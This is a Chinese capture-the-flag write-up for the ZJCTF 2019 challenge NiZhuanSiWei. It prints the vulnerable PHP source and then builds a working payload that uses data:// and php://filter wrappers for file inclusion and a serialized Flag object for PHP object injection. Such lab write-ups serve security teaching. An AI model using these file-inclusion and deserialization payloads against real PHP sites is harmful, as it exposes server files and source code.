当前位置:网站首页>[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
2022-08-08 18:47:00 【努力做大佬m0_68074153】
1.代码审计
题目直接给出代码。
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个参数,text要我们传入welcome to the zjctf的字符,file让我们传入一个文件名包含且flag被过滤了,password让我们传入一个序列化的参数然后反序化后输出,盲猜应该是序列化后的flag.php。
2.php伪协议
出现了传文件出现了文件包含,首先考虑的就是可不可以使用php伪协议。
首先使用data伪协议写入文件welcome to the zjctf。
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里对字符进行了base64加密。
成功绕过第一个限制。
根据源码的提示,应该是让我们包含useless.php这个文件,通过php伪协议读取源码。
php://filter/read=convert.base64-encode/resource=useless.php
得到源码
对源码进行base64解密得到源码。
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这个应该就是对flag.php进行序列化的类,new一个类进行序列化输出。
拿到序列化后的flag.php。
现在得到了我们最终的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

getflag!
边栏推荐
- Architecture Design Fundamentals
- 堆排序(Heap Sort)实现
- Ability in general, but it can be large horizontal jump freely?Where is the better?
- JDBC最详讲解(快速入门)
- 干货技巧|如何用3DsMax制作笔记本电脑
- 在Unity URP中实现Forward+
- synApps -- Autosave
- Excuse me, during the mongoshake synchronization process in the shake database, src_mongo hangs up, will the synchronization service not exit?
- Laravel 队列消费实例和定时任务添加任务消费
- Oracle--表
猜你喜欢
随机推荐
Style Design Principles in Open Office XML Format
生成验证码工具类
Architecture Design Fundamentals
How to add F4 Value Help to the input parameters of the report in the ABAP report
PG 之 huge page
传音控股:目前公司手机产品暂无明确计划进入中国市场
21天学习挑战赛——机器学习01
【kali-权限提升】(4.2.6)社会工程学工具包(上):中间人攻击原理
数据库学习之表的操作
什么是Shell?从小白到入门你只差一个它
8月报考季,软考选科目避坑指南来啦
数据库学习之库的操作
数组!!!
视图,索引
Redis Server启动过程
PX4模块设计之十八:Logger模块
干货:从零设计高并发架构
The history of cartoon rendering
3D游戏建模教程:游戏角色制作——赏金猎人,超逼真
请问shake数据库中mongoshake同步过程中,src_mongo挂了,同步服务不会退出吗?









